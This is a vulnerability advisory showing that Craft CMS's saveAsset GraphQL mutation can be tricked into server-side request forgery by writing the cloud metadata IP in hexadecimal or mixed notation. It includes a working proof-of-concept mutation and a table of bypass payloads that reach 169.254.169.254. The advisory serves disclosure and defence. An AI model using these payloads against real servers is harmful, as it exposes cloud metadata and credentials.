Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

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Summary

The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

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Proof of Concept

1. Send the following GraphQL mutation:

mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}

2. The IP validation passes (hex notation not recognized as IP) 3. Guzzle resolves 169.254.0xa9fe to 169.254.169.254 4. Cloud metadata is fetched and saved

Alternative Payloads

| Payload | Notation | Resolves To | |---------|----------|-------------| | http://169.254.0xa9fe/ | Mixed (decimal + hex) | 169.254.169.254 | | http://0xa9.0xfe.0xa9.0xfe/ | Full hex dotted | 169.254.169.254 | | http://0xa9fea9fe/ | Single hex integer | 169.254.169.254 |

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Technical Details

File: src/gql/resolvers/mutations/Asset.php Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)